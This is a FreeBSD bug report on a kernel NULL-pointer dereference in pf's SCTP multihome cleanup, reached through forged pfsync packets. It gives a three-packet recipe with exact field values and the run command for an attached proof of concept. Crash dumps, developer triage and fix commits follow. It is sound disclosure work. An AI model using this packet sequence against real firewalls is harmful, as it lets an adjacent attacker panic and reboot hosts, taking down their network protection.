Bug 294989 - pf: NULL pointer dereference in pf_sctp_multihome_detach_addr() via crafted pfsync state injection - Remote kernel panic
Summary: pf: NULL pointer dereference in pf_sctp_multihome_detach_addr() via crafted p...
Status: Open
Alias: None
Product: Base System
Classification: Unclassified
Component: kern (show other bugs)
Version: 16.0-CURRENT
Hardware: amd64 Any
: --- Affects Many People
Assignee: freebsd-pf (Nobody)
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2026-05-03 21:37 UTC by Igor Gabriel S. Souza
Modified: 2026-05-12 16:45 UTC (History)
2 users (show)

See Also:


Attachments
POC code (17.88 KB, text/plain)
2026-05-03 21:37 UTC, Igor Gabriel S. Souza
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description Igor Gabriel S. Souza 2026-05-03 21:37:32 UTC
Created attachment 270393 [details]
POC code

Overview
────────

`pf_sctp_multihome_detach_addr()` in `sys/netpfil/pf/pf.c` dereferences
`s->src.scrub` without a NULL guard, while the immediately preceding access to
`s->dst.scrub` is correctly guarded. A remote unauthenticated attacker who can
send packets to a host's pfsync synchronization interface injects a forged
pfsync state with `src.scrub_flag=0`  which causes the kernel to leave
`s->src.scrub = NULL` on import  and then triggers state removal via a second
forged pfsync packet. The kernel dereferences the NULL pointer at offset `+0x20`,
generating a fatal page fault and forcing an immediate system reboot.

The attack requires three packets totaling under 600 bytes. No account, no
authentication, and no prior knowledge of the target is required beyond the IP
address of the pfsync synchronization interface.

Confirmed against FreeBSD 15.0-RELEASE (GENERIC amd64) across two independent
test hosts, with pf configured under both `pass all keep state` and the more
restrictive `pass in proto sctp keep state`. Reproduced across 10 independent
kernel panics (vmcore.0 through vmcore.9) on the latest-tested host.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Affected Versions
─────────────────

Version                                    Arch   pf.conf at panic
────────────────────────────────────────── ────── ──────────────────────────────
FreeBSD 15.0-RELEASE                       amd64  pass in proto sctp keep state
  releng/15.0-n280995-7aedc8de6446                (host: nepph16 / 192.168.2.8)
                                                   vmcore.5  2026-05-03 (latest)

FreeBSD 15.0-RELEASE is the latest stable release as of this report.

NOTE: The attack succeeds under `pass in proto sctp keep state`  a targeted,
production-realistic SCTP ruleset.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Vulnerability Details
─────────────────────

File:     sys/netpfil/pf/pf.c
Function: pf_sctp_multihome_detach_addr(struct pf_state *s)

    static void
    pf_sctp_multihome_detach_addr(struct pf_state *s)
    {
        struct pf_sctp_endpoint *e, key;

        /* dst.scrub is guarded correctly */
        if (s->dst.scrub != NULL)
            key.v_tag = s->dst.scrub->pfss_v_tag;   /* line ~7395 */

        e = pf_sctp_endpoints_RB_FIND(&V_pf_sctp_endpoints, &key);
        if (e == NULL)
            return;            /* early-return if tree is empty or no match */

        /* ... endpoint found, partial cleanup ... */

        /* src.scrub is NOT guarded  the bug */
        key.v_tag = s->src.scrub->pfss_v_tag;       /* line ~7410: NULL deref */
                                                     /* if src.scrub == NULL   */
        e = pf_sctp_endpoints_RB_FIND(
                &V_pf_sctp_endpoints, &key);         /* pf.c:229 */

The function is called during state removal whenever the state's protocol is
IPPROTO_SCTP (0x84). `s->src.scrub` is NULL whenever the imported pfsync state
carried `src.scrub_flag = 0` in its wire format  a condition the attacker
controls directly.

Why V_pf_sctp_endpoints must be non-empty
──────────────────────────────────────────

`pf_sctp_endpoints_RB_FIND` calls RB_FIND() which bails immediately when the
tree root is NULL. If RB_FIND returns NULL on the first call (dst.scrub path),
the function returns early at `if (e == NULL) return` and never reaches the
unguarded `s->src.scrub` access. Therefore Phase 1 of the attack must populate
`V_pf_sctp_endpoints` so the first RB_FIND returns non-NULL, advancing
execution past the early return and into the unguarded dereference.

Call Chain
──────────

    ip_input()                                      ip_input.c:861
      └─ pfil hook → pfsync_input()                 if_pfsync.c:1016
           └─ pfsync_in_clr()                       if_pfsync.c:1166
                └─ pf_remove_state()                pf.c:2863
                     └─ pf_detach_state()           pf.c:1607
                          └─ pf_sctp_multihome_detach_addr()  pf.c:7410
                               → s->src.scrub->pfss_v_tag
                               → mov 0x20(%rcx), %esi  [rcx=0]
                               → page fault @ 0x20
                               → panic("page fault")

The fault occurs in a kernel network processing thread (swi1: netisr or
if_io_tqg depending on NIC driver). No user-mode involvement exists at any point.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Attack Flow
───────────

Three packets, all standard raw IP. No authentication. No prior state on the
target. Attacker must be on the same L2 segment as the target's pfsync
syncdev interface (TTL=255 requirement in pfsync_input).

Packet 1  SCTP INIT: seed V_pf_sctp_endpoints
────────────────────────────────────────────────

  IP:   src=ATTACKER:11111  dst=TARGET:9999  proto=132  TTL=64
  SCTP: chunk_type=INIT (0x01)
        initiate_tag=0xDEADBEEF
        SCTP_IPV4_ADDRESS param (type=0x0005): addr=10.254.254.1

pf_multihome_scan_init detects the SCTP_IPV4_ADDRESS parameter and queues
a pf_sctp_multihome_add_addr job. The job inserts endpoint {v_tag=0xDEADBEEF}
into V_pf_sctp_endpoints. A pf state is also created for the SCTP connection
(id > 1, larger than the injected pfsync state).

After Packet 1:
  V_pf_sctp_endpoints = { 0xDEADBEEF }  ← non-empty, RB_FIND will not bail
  pf state table: { id=N (legitimate SCTP state) }

Packet 2  pfsync INS_1500: inject state with src.scrub=NULL
─────────────────────────────────────────────────────────────

  IP:      src=ATTACKER  dst=TARGET  proto=240  TTL=255   ← pfsync, L2-only
  pfsync:  version=5  action=15 (PFSYNC_ACT_INS_1500)  count=1
  state:
    id             = 0x0000000000000001  ← smallest possible ID
    ifname         = "em0"
    wire_af        = AF_INET
    wire_proto     = IPPROTO_SCTP (0x84)
    src.scrub_flag = 0x00               ← BUG TRIGGER: src.scrub will be NULL
    dst.scrub_flag = 0x01               ← dst.scrub will be allocated
    expire         = htonl(86400)       ← expires at time_uptime (immediately)
    creatorid      = htonl(0x01010101)

After Packet 2:
  pf state table: { id=1 (src.scrub=NULL, expires now), id=N }

Packet 3  pfsync ACT_CLR: deterministic trigger
──────────────────────────────────────────────────

  IP:      src=ATTACKER  dst=TARGET  proto=240  TTL=255
  pfsync:  version=5  action=0 (PFSYNC_ACT_CLR)  count=1
  clr:     ifname="em0"  creatorid=htonl(0x01010101)

pfsync_in_clr iterates V_tree_id in ascending order. State id=1 is first.
pf_remove_state(id=1) → pf_detach_state → pf_sctp_multihome_detach_addr
→ s->src.scrub->pfss_v_tag with src.scrub=NULL → #PF @ 0x20 → panic.

pfsync Wire Format: attacker-controlled scrub_flag
──────────────────────────────────────────────────

    struct pf_state_scrub_export {
        uint16_t pfss_flags;
        uint8_t  pfss_ttl;
        uint8_t  scrub_flag;   /* 0 = no scrub; 1 = allocate scrub */
        uint32_t pfss_ts_mod;
    } __attribute__((packed));

Setting scrub_flag=0 is a valid and expected wire value. The kernel faithfully
imports the state with src.scrub=NULL and then calls
pf_sctp_multihome_detach_addr without checking whether src.scrub is non-NULL.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Proof of Concept
────────────────

Target setup:

    kldload pfsync
    ifconfig pfsync0 up syncdev em0
    pfctl -e

pf.conf (minimal  both variants confirmed):

    pass in proto sctp keep state      # production-realistic rule
    # or:
    pass all keep state                # broadest form, also confirmed

Build and run (Linux or FreeBSD  pure POSIX, no BSD SDK required):

    cc -O2 -o poc_remote_unauth poc_remote_unauth.c
    sudo ./poc_remote_unauth <target_ip> <attacker_ip> [sctp_dport] [syncdev]

    # confirmed:
    sudo ./poc_remote_unauth 192.168.2.8 192.168.2.112 9999 em0

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Crash Evidence
──────────────

── Crash 1 (vmcore.5)  Host: nepph16 (192.168.2.8)  PRIMARY ──────────────

  OS:         FreeBSD 15.0-RELEASE releng/15.0-n280995-7aedc8de6446 GENERIC amd64
  pf.conf:    pass in proto sctp keep state
  pfsync0:    syncdev em0, UP, version 1500
  Dumptime:   2026-05-03 17:51:14 UTC
  Dump Length: 341,442,560 bytes
  Dump Status: good
  Uptime at crash: 3m46s

  Kernel Message Buffer:

    Fatal trap 12: page fault while in kernel mode
    cpuid = 5; apic id = 05
    fault virtual address   = 0x20
    fault code              = supervisor read data, page not present
    instruction pointer     = 0x20:0xffffffff8223b3eb
    stack pointer           = 0x28:0xfffffe006364f970
    frame pointer           = 0x28:0xfffffe006364f9a0
    processor eflags        = interrupt enabled, resume, IOPL = 0
    current process         = 0 (if_io_tqg_5)

    rdi: fffffe00069be0f8  rsi: 0000000000000000  rdx: fffff8005ffcd758
    rcx: 0000000000000000   r8: 0000000000000000   r9: 0000000000000001
    rax: fffffe0085041320  rbx: fffff8005f98f180  rbp: fffffe006364f9a0
    r10: 0000000000000001  r11: 0000000000000201  r12: fffff8002e7cae00
    r13: 0000000000000001  r14: fffff800b2940aa8  r15: fffff80004512000

    trap number = 12
    panic: page fault
    cpuid = 5
    time = 1777830674

  Register analysis:

    rcx : 0x0000000000000000  ← s->src.scrub = NULL  (THE BUG)
    rbx : 0xfffff8005f98f180  ← s (struct pf_state*)
    r13 : 0x0000000000000001  ← state id=1 (the injected state)
    rip : 0xffffffff8223b3eb  ← inside pf_sctp_endpoints_RB_FIND
    fault VA : 0x20            ← NULL + offsetof(pf_state_scrub, pfss_v_tag)

  KDB Stack Backtrace:

    #0  0xffffffff80bbe1ed  kdb_backtrace+0x5d
    #1  0xffffffff80b71576  vpanic+0x136
    #2  0xffffffff80b71433  panic+0x43
    #3  0xffffffff81079f69  trap_pfault+0x3c9
    #4  0xffffffff8104ff18  calltrap+0x8
    #5  0xffffffff8223d6a6  pf_remove_state+0x296
    #6  0xffffffff8222a669  pfsync_in_clr+0x129
    #7  0xffffffff8222a211  pfsync_input+0x241
    #8  0xffffffff80d3d9f9  ip_input+0x1f9
    #9  0xffffffff80cbe38f  netisr_dispatch_src+0x9f
    #10 0xffffffff80ca21e9  ether_demux+0x149
    #11 0xffffffff80ca3549  ether_nh_input+0x339
    #12 0xffffffff80cbe38f  netisr_dispatch_src+0x9f
    #13 0xffffffff80ca2556  ether_input+0x56
    #14 0xffffffff80d56b5c  tcp_lro_flush_all+0xbc
    #15 0xffffffff80cba988  iflib_rxeof+0xa88
    #16 0xffffffff80cb5552  _task_fn_rx+0x72
    #17 0xffffffff80bbcb8e  gtaskqueue_run_locked+0x14e


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Security Advisory Classification
──────────────────────────────────

  Type             : Remote Denial of Service
  CVSS 3.1 Vector  : AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  CVSS 3.1 Score   : 6.5 Medium
  Authentication   : None
  Preconditions    : pf.ko loaded, pfsync.ko loaded, pfsync0 UP with any syncdev,
                     any pf rule accepting SCTP with keep state
  Attack vector    : Adjacent (same L2 as pfsync syncdev interface)
  L2 constraint    : TTL=255 checked in pfsync_input  one router hop breaks attack
  Packets required : 3 (under 600 bytes total)
  Reproducibility  : 100% deterministic
  Impact           : Kernel panic, forced reboot, complete loss of firewall availability
  Patch available  : No
  Confirmed on     : FreeBSD 15.0-RELEASE (latest stable), 10 vmcores across 2 hosts
  Workaround       : Isolate pfsync syncdev to a dedicated L2 with no shared access;
                     or kldunload pfsync if pfsync HA is not required

Qualifies under the FreeBSD Security Advisory criterion:

  "Denial of Service from an adjacent network, where adjacent means the same
   broadcast domain as the affected interface."


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Thanks!

Credits:
Author: Igor Gabriel Sousa e Souza
Sponsored by: BSDTrust
Email: igor@bsdtrust.com
LinkedIn: https://www.linkedin.com/in/igo0r
Comment 1 Philip Paeps freebsd_committer freebsd_triage 2026-05-04 04:32:19 UTC
Cc: Kristof.

I believe we've decided before that running pfsync on a shared L2 is not a supported configuration.  We should fix this but I would need to be persuaded that this merits an SA under the "remotely exploitable" criterion.  If a malicious actor can get to the pfsync segment, they can do a lot more mischief much more easily.

What do others on secteam@ think?
Comment 2 Kristof Provost freebsd_committer freebsd_triage 2026-05-04 07:55:20 UTC
(In reply to Philip Paeps from comment #1)
I share that assessment. The ability to inject packets to pfsync implies the ability to set arbitrary pf states, so this is a denial of service attack via an interface that is explicitly designed to allow denial of service.

It's still a bug, but I would also not consider it to be a security bug.
Comment 3 commit-hook freebsd_committer freebsd_triage 2026-05-05 08:36:01 UTC
A commit in branch main references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=bf6d00afdb6171ba04a1c5a7fde904cde87d212d

commit bf6d00afdb6171ba04a1c5a7fde904cde87d212d
Author:     Kristof Provost <kp@FreeBSD.org>
AuthorDate: 2026-05-04 16:08:35 +0000
Commit:     Kristof Provost <kp@FreeBSD.org>
CommitDate: 2026-05-05 07:45:29 +0000

    pfsync: reject invalid SCTP states

    SCTP states should always have a src scrub object associated with them.
    Crafted pfsync packets might not have this, leading to us derferencing a
    NULL pointer on cleanup.

    Validate the pfsync state insertion packet to make sure this is correct.

    PR:             294989
    MFC after:      1 week
    Sponsored by:   Rubicon Communications, LLC ("Netgate")

 sys/netpfil/pf/if_pfsync.c | 7 +++++++
 1 file changed, 7 insertions(+)
Comment 4 commit-hook freebsd_committer freebsd_triage 2026-05-12 16:45:00 UTC
A commit in branch stable/14 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=8d583858e499dcc23a1c7b6b9c80e2e84f245d04

commit 8d583858e499dcc23a1c7b6b9c80e2e84f245d04
Author:     Kristof Provost <kp@FreeBSD.org>
AuthorDate: 2026-05-04 16:08:35 +0000
Commit:     Kristof Provost <kp@FreeBSD.org>
CommitDate: 2026-05-12 07:54:38 +0000

    pfsync: reject invalid SCTP states

    SCTP states should always have a src scrub object associated with them.
    Crafted pfsync packets might not have this, leading to us derferencing a
    NULL pointer on cleanup.

    Validate the pfsync state insertion packet to make sure this is correct.

    PR:             294989
    MFC after:      1 week
    Sponsored by:   Rubicon Communications, LLC ("Netgate")

    (cherry picked from commit bf6d00afdb6171ba04a1c5a7fde904cde87d212d)

 sys/netpfil/pf/if_pfsync.c | 7 +++++++
 1 file changed, 7 insertions(+)
Comment 5 commit-hook freebsd_committer freebsd_triage 2026-05-12 16:45:02 UTC
A commit in branch stable/15 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=91d1c1c2b1e74e776641a0923a9796b018c610d2

commit 91d1c1c2b1e74e776641a0923a9796b018c610d2
Author:     Kristof Provost <kp@FreeBSD.org>
AuthorDate: 2026-05-04 16:08:35 +0000
Commit:     Kristof Provost <kp@FreeBSD.org>
CommitDate: 2026-05-12 07:54:34 +0000

    pfsync: reject invalid SCTP states

    SCTP states should always have a src scrub object associated with them.
    Crafted pfsync packets might not have this, leading to us derferencing a
    NULL pointer on cleanup.

    Validate the pfsync state insertion packet to make sure this is correct.

    PR:             294989
    MFC after:      1 week
    Sponsored by:   Rubicon Communications, LLC ("Netgate")

    (cherry picked from commit bf6d00afdb6171ba04a1c5a7fde904cde87d212d)

 sys/netpfil/pf/if_pfsync.c | 7 +++++++
 1 file changed, 7 insertions(+)